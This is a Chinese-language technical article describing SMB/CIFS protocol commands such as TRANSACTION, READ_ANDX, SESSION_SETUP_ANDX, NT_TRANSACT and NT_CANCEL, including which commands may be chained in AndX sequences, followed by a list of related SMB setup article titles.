    下面列举的是SMB_COM_LOCKING_ANDX后可能发送的命令

    ·        SMB_COM_CLOSE

    ·        SMB_COM_FLUSH

    ·        SMB_COM_LOCKING_ANDX

    ·        SMB_COM_READ

    ·        SMB_COM_READ_ANDX

    ·        SMB_COM_WRITE

    ·        SMB_COM_WRITE_ANDX

     

    8、SMB_COM_TRANSACTION (0x25)

        此命令在LAN Manager 1.0中引入。为事务处理协议的传输子协议服务。这些命令可以用于CIFS文件系统内部通信的邮箱和命名管道。如果出书的数据超过了会话建立时规定的MaxBufferSize,必须使用SMB_COM_TRANSACTION_SECONDARY命令来传输超出的部分:SMB_Data.Trans_Data 和 SMB_Data.Trans_Parameter。这两部分在初始化消息中没有固定。

    如果客户端没有发送完所有的SMB_Data.Trans_Data,会将DataCount设置为小于TotalDataCount的一个值。同样的,如果SMB_Data.Trans_Parameters没有发送完,会设置ParameterCount为一个小于TotalParameterCount的值。参数部分优先级高于数据部分,客户端在每个消息中应该尽量多的发送数据。服务器应该可以接收无序到达的SMB_Data.Trans_Parameters 和 SMB_Data.Trans_Data,不论是大量还是少量的数据。

    在请求和响应消息中,SMB_Data.Trans_Parameters和SMB_Data.Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是,SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans_Parameters。客户端应该准备好组装收到的SMB_Data.Trans_Parameters和SMB_Data.Trans_Data,即使它们是乱序到达的。

    9、SMB_COM_TRANSACTION_SECONDARY (0x26)

        此命令在LAN Manager 1.0中引入。用来完成SMB_COM_TRANSACTION中未传输完毕数据的传输。

    在请求和响应消息中,SMB_Data.Trans_Parameters和SMB_Data.Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是,SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans_Parameters。客户端应该准备好组装收到的SMB_Data.Trans_Parameters和SMB_Data.Trans_Data,即使它们是乱序到达的。

     

    10、SMB_COM_ECHO (0x2B)

        此命令在LAN Manager 1.0中引入。客户端发送此命令测试和服务器的传输层连接。

     

    11、SMB_COM_OPEN_ANDX (0x2D)

        此命令在LAN Manager 1.0中引入。用来创建并打开一个文件,或者打开一个已存在的普通文件,并执行命令链中的命令。命令中包含客户端要打开的文件名,命名管道或设备。如果执行成功,服务器响应消息中要携带一个合法的FID。客户端在后续对此文件的操作请求中要提供相同的FID。

    下面这些命令是可以放在SMB_COM_OPEN_ANDX命令的AndX链中:

    ·        SMB_COM_READ

    ·        SMB_COM_READ_ANDX

    ·        SMB_COM_IOCTL

    ·        SMB_COM_NO_ANDX_COMMAND

     

    12、SMB_COM_READ_ANDX (0x2E)

        此命令在LAN Manager 1.0中引入,在NT LAN Manager中对其进行了扩展。用来读取数据,可以读取普通文件,命名管道,或直接访问设别,比如串口(COM)或打印机接口(LPT)。如果客户端用NT LAN Manager或以后的版本协商,应该发送带有12个参数的请求,这个版本支持最大64-bit的文件。此命令是唯一一个支持读取64-bit大小文件的读取命令。

    下面这些命令是可以放在SMB_COM_READ_ANDX命令的AndX链中:

    ·        SMB_COM_CLOSE

     

    13、SMB_COM_WRITE_ANDX (0x2F)

        此命令在LAN Manager 1.0中引入。用来向普通文件,命名管道,或直接访问设别,比如串口(COM)或打印机接口(LPT)中写入数据。如果客户端用NT LAN Manager或以后的版本协商,应该发送带有14个参数的请求,这个版本支持最大64-bit的文件。此命令是唯一一个支持写64-bit大小文件的读取命令。

    下面这些命令是可以放在SMB_COM_WRITE_ANDX命令的AndX链中:

    ·        SMB_COM_READ

    ·        SMB_COM_READ_ANDX

    ·        SMB_COM_LOCK_AND_READ

    ·        SMB_COM_CLOSE

     

    14、SMB_COM_TRANSACTION2 (0x32)

        此命令在LAN Manager 1.2中引入。支持服务器文件系统更丰富的语义集。允许客户端设置和获取扩展的key/value属性对,支持长文件名(比原始的8.3名字格式要长),可以执行目录搜索及其他任务。

    如果客户端没有发送完所有的SMB_Data.Trans_Data,会将DataCount设置为小于TotalDataCount的一个值。同样的,如果SMB_Data.Trans_Parameters没有发送完,会设置ParameterCount为一个小于TotalParameterCount的值。参数部分优先级高于数据部分,客户端在每个消息中应该尽量多的发送数据。服务器应该可以接收无序到达的SMB_Data.Trans_Parameters 和 SMB_Data.Trans_Data,不论是大量还是少量的数据。

    在请求和响应消息中,SMB_Data.Trans2_Parameters和SMB_Data.Trans2_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是,SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans2_Parameters。客户端应该准备好组装收到的SMB_Data.Trans2_Parameters和SMB_Data.Trans2_Data,即使它们是乱序到达的。

    15、SMB_COM_TRANSACTION2_SECONDARY (0x33)

        此命令在LAN Manager 1.2中引入。用来完成SMB_COM_TRANSACTION2中未传完的数据。

     

    16、SMB_COM_FIND_CLOSE2 (0x34)

        此命令在LAN Manager 1.2中引入。用来关闭由命令TRANS2_FIND_FIRST2而打开的搜索句柄,服务器释放所有和此句柄相关的资源。

     

    17、SMB_COM_TREE_DISCONNECT (0x71)

        这是一个原始核心协议命令。用来关闭客户端访问服务器资源时使用的一条逻辑连接,连接依靠SMB头部的TID识别,断开后服务器将此TID视为无效的TID。所有和此TID相关的文件、目录及其他资源都被释放,文件和目录的锁也会被释放。

    18、SMB_COM_NEGOTIATE (0x72)

        这是一个原始核心协议命令。用来初始化服务器和客户端之间的SMB会话,必须在其他任何SMB命令发送之前完成。

        每个SMB会话只能有一次协商过程,后续的SMB_COM_NEGOTIATE会被服务器拒绝并返回一个错误响应。

    19、SMB_COM_SESSION_SETUP_ANDX (0x73)

        此命令在LAN Manager 1.0中引入。相比最初的定义,请求和响应消息的格式都有所改变。本文介绍CIFS格式,在NT LAN Manager中定义。当协商使用NT LAN Manager时必须使用此格式。

    此命令用来配置一个SMB会话。如果服务器运行在user级访问控制模式,至少发送一个SMB_COM_SESSION_SETUP_ANDX命令,执行用户登录服务器并建立一个有效的UID。

    在CIFS协议中,在SMB_COM_SESSION_SETUP_ANDX命令执行成功之前发送SMB_COM_TREE_CONNECT或SMB_COM_TREE_CONNECT_ANDX是违反协议的,即使服务器运行在share级的访问控制模式。在SMB_COM_SESSION_SETUP_ANDX请求之后,包含SMB_COM_TREE_CONNECT_ANDX批处理请求的AndX链可以满足这一需求,匿名认证也可以满足这一需求。

    一个SMB会话用允许有多个SMB_COM_SESSION_SETUP_ANDX,用来建立额外的UID或建立额外的虚拟链路。

    下面的命令可以放在SMB_COM_SESSION_SETUP_ANDX后面的AndX链中:

    ·        SMB_COM_TREE_CONNECT_ANDX

    ·        SMB_COM_OPEN

    ·        SMB_COM_OPEN_ANDX

    ·        SMB_COM_CREATE

    ·        SMB_COM_CREATE_NEW

    ·        SMB_COM_CREATE_DIRECTORY

    ·        SMB_COM_DELETE

    ·        SMB_COM_DELETE_DIRECTORY

    ·        SMB_COM_FIND

    ·        SMB_COM_FIND_UNIQUE

    ·        SMB_COM_RENAME

    ·        SMB_COM_NT_RENAME

    ·        SMB_COM_CHECK_DIRECTORY

    ·        SMB_COM_QUERY_INFORMATION

    ·        SMB_COM_SET_INFORMATION

    ·        SMB_COM_OPEN_PRINT_FILE

    ·        SMB_COM_TRANSACTION

     

    20、SMB_COM_LOGOFF_ANDX (0x74)

        SMB头部UID标记的用户被注销,服务器将释放所有此UID相关的资源,包括释放锁,关闭所有的文件,断开连接,取消所有没有处理完的命令,标记此UID无效。

    下面的命令可以放在SMB_COM_LOGOFF_ANDX后面的AndX链中:

    ·        SMB_COM_SESSION_SETUP_ANDX.

     

    21、SMB_COM_TREE_CONNECT_ANDX (0x75)

        此命令在LAN Manager 1.0中引入。用来建立一条客户端和服务器之间的连接,共享资源依靠共享名确定。连接建立后,此连接将用服务器返回的TID作为识别标记。

    下面的命令可以放在SMB_COM_TREE_CONNECT_ANDX后面的AndX链中:

    ·        SMB_COM_OPEN

    ·        SMB_COM_OPEN_ANDX

    ·        SMB_COM_CREATE

    ·        SMB_COM_CREATE_NEW

    ·        SMB_COM_CREATE_DIRECTORY

    ·        SMB_COM_DELETE

    ·        SMB_COM_DELETE_DIRECTORY

    ·        SMB_COM_SEARCH

    ·        SMB_COM_FIND

    ·        SMB_COM_FIND_UNIQUE

    ·        SMB_COM_RENAME

    ·        SMB_COM_NT_RENAME

    ·        SMB_COM_CHECK_DIRECTORY

    ·        SMB_COM_QUERY_INFORMATION

    ·        SMB_COM_SET_INFORMATION

    ·        SMB_COM_OPEN_PRINT_FILE

    ·        SMB_COM_TRANSACTION

     

    22、SMB_COM_NT_TRANSACT (0xA0)

        此命令在NT LAN Manager中引入。扩展了由SMB_COM_TRANSACTION2提供的文件系统访问服务,允许处理非常大的参数和数据块。

        SMB_COM_NT_TRANSACT消息可以超过单个SMB消息允许的最大值(由参数MaxBufferSize决定)。在这种情况下,客户端使用一个或多个SMB_COM_NT_TRANSACT_SECONDARY消息来传输和消息初始化不匹配的data和Parameter。

        如果客户端没有发送完所有的SMB_Data.Trans_Data,会将DataCount设置为小于TotalDataCount的一个值。同样的,如果SMB_Data.Trans_Parameters没有发送完,会设置ParameterCount为一个小于TotalParameterCount的值。参数部分优先级高于数据部分,客户端在每个消息中应该尽量多的发送数据。服务器应该可以接收无序到达的SMB_Data.Trans_Parameters 和 SMB_Data.Trans_Data,不论是大量还是少量的数据。

    在请求和响应消息中,SMB_Data.NT_Trans_Parameters和SMB_Data.nt_Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是,SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该按照自己顺序发送,优先发送SMB_Data.NT_Trans_Parameters。客户端应该准备好组装收到的SMB_Data.NT_Trans_Parameters和SMB_Data.NT_Trans_Data,即使它们是乱序到达的。

    23、SMB_COM_NT_TRANSACT_SECONDARY (0xA1)

        此命令用来完成SMB_COM_NT_TRANSACT中未传完的数据。

    24、SMB_COM_NT_CREATE_ANDX (0xA2)

        此命令在NT LAN Manager中引入。用来创建并打开一个新文件,或者打开一个已存在的文件,或打开并清空一个已存在的文件,或创建一个目录,或创建一个命名管道。返回的FID可以用在后续的请求消息中。

        消息中包含客户端想要创建或打开的文件名,目录,或命名管道和RootDirectoryFID。如果执行成功,服务器返回一个FID标记打开的资源。客户端在后续的请求消息中必须携带此FID。客户端必须拥有对资源所在目录的写权限,才能创建一个新的文件或目录;或者拥有文件的写权限来执行截断文件的操作。

    下面的命令可以放在SMB_COM_NT_CREATE_ANDX后面的AndX链中:

    ·        SMB_COM_READ

    ·        SMB_COM_READ_ANDX

    ·        SMB_COM_IOCTL

     

    25、SMB_COM_NT_CANCEL (0xA4)

        此命令在NT LAN Manager中引入。使客户端可以取消掉pending态的请求。服务器用SMB_Header中的信息识别客户端想要取消哪些请求,服务器可以取消或立即处理这些请求。服务器对此消息不能回复响应消息。客户端应该依靠服务器对指定取消的消息的响应来判断取消消息的结果。如果服务器不能识别客户端请求中的指定消息,也不应该发送响应。

        此命令主要用来取消由SMB_COM_NT_TRANSACT和NT_TRANSACT_NOTIFY_CHANGE子命令引起的多余的通知消息。客户端一般用NT_TRANSACT_NOTIFY_CHANGE命令避免轮询目录的改变。此命令另外的用途包括取消一个无限期等待繁忙资源的请求,或尝试很多次来等待一个资源的请求。

     

    26、SMB_COM_OPEN_PRINT_FILE (0xC0)

        这是一个原始核心协议命令。用来创建一个打印队列缓冲文件。此文件将会在打印机中排队。当文件打印完毕后,服务器应该删除这个文件。

     

    27、SMB_COM_INVALID (0xFE)

        此命令在LAN Manager 1.0中引入。这是一个保留的值,指明一个非法的命令。客户端不应该发送此命令,服务器收到此命令后应该返回STATUS_SMB_BAD_COMMAND (ERRDOC/ERRbadfunc)。

     

    28、SMB_COM_NO_ANDX_COMMAND (0xFF)

        此命令在LAN Manager 1.0中引入。设计此命令的目的是用来指明一个AndX链的结束。

        客户端不应该在主命令中使用此命令,服务器在主命令中收到此命令后应该返回STATUS_SMB_BAD_COMMAND(ERRSRV/ERRbadcmd)。

        在早期的SMB协议规格(见[IBM-SMB])中,此命令保留来做特定协议的扩展。这个用法已过时。在最新的微软协议文档中,包括[SMB-CORE]和[MSFT-XEXTNP],都没有描述此命令作为协议扩展或其它目的的作用。

     

    展开全文
  • SMB服务搭建与访问

    千次阅读 2018-10-03 17:57:32
    安装部署 (防火墙端放行smb) 服务端:  1、需要安装软件包smba 、 服务名为smb #yum -y install samba 2、创建samba共享专用帐号 #useradd -s /sbin/nologin harry ##创建用户,samba用户需要登陆登陆系统 #...
  • smb共享服务

    千次阅读 2017-12-06 21:21:30
     samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成。smb是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印等资源的共享服务。smb协议是...
  • SMB实现共享文件(上传、下载)

    千次阅读 2017-11-02 23:31:58
    点击打开链接 前提: (1)在文件服务器共享文件夹,设置权限(特定某个用户可以访问)。 (2)配置WEB-INF/classess/ftp.properties文件。 ...">//1 FTP , 2 FileSystem ,3 sm
  • linux——SMB文件共享及应用实例

    万次阅读 2018-07-30 13:58:19
    SMB文件共享 Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同...
  • SMB服务详解

    万次阅读 2018-09-06 10:04:33
    SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。 是应用层(和表示层)协议,使用C/S架构,其工作的端口与其使用的协议...
  • 原先可以用手机连接smb共享,升级新版windows 10后 smb共享突然不能用,这种情况可以参考本文 方法/步骤 1 新版win10删除了开始菜单中控制面板的入口。左下角小娜处输入control ,会显示“控制面板“,点击后...
  • 链接到微软帮助页面,才找到解决方案: “控制面板”-“程序和功能
  • 没事学习一下SMB 3.0

    万次阅读 2014-03-24 22:35:29
    注: 突发奇想,想看看Mac OS上到底有没有sparse file,找到...简单验证了一下,确实是没有。然后不知道怎么逛到了微软的网站,看到这个熟悉的东西, New SMB features that are introduced in the Windows Server 2
  • win10开启smb服务 方便智能电视盒子局域网在线看硬盘视频 开启后便可在智能电视/电视盒子 端使用ES文件浏览器等局域网功能,输入用户名密码后即可连接本地硬盘。 注意须在同一局域网环境下实施。 ...
  • Windows中SMB服务器的搭建

    千次阅读 2019-09-27 15:12:24
    Windows中有自带的SMB服务器,在文件夹上右键共享配置 设置完成后便可以进行连接测试了
  • windows下连接smb服务器

    千次阅读 2019-07-30 18:59:06
    在运行里面输入:\\xxx.xxx.xxx.xxx 即可访问远程服务器 转载于:https://www.cnblogs.com/liyuanhong/p/10671475.html
  • smb服务器下设置用户名和密码

    万次阅读 2018-06-16 13:35:11
    一、修改 /etc/samba/smb.conf 配置文件security=user二、创建用户名及密码1.创建系统用户及密码[root@localhost ~]# useradd test1[root@localhost ~]# passwd test1更改用户 test1 的密码 。新的 密码:无效的密码...
  • win7下无法访问smb服务器解决方法

    万次阅读 2015-01-04 15:05:53
    在linux下将smb服务器设置好之后,在windows下无法访问smb服务器的共享文件夹,如下所示  默认情况下,windows7无法正常访问NAS或smb服务器上的共享文件夹。原因在于从vista开始,微软默认只采用NTLMv2协议的认证...
  • Mac下Smb的使用

    万次阅读 2019-04-24 08:01:24
    在Mac上使用Smb 连接其他共享盘教程 打开Mac的Finder 按下command + k组合键,调出服务器搜索器 在弹出的表单种填写搜索的IP地址,例如: smb://11.10.11.55, 然后点击连接按钮或回车 如果IP地址正确会有一个弹窗...
  • 电视SMB方式连接电脑共享文件

    万次阅读 2018-09-27 09:42:51
    1.勾选SMB 1.0/CIFS服务器 win10默认没有勾选,更改需要重启 #2. 共享设置 3. 文件夹共享 4.电视端用SMB方式连接 如果电视没有显示可供连接的SMB设备ip,在电脑端查看 cmd --> ipconfig -all 输入...
  • 发现新安装的win10能看到其他计算机,但不能共享其他计算的共享...这是因为需要启用SMB1协议,这个协议是一个不安全的协议,因此在win10中默认不启用SMB1协议,解决此问题只要启用此协议即可,方法如下: 控制面板-...
1 2 3 4 5 ... 20
收藏数 57,097
精华内容 22,838
关键字:

smb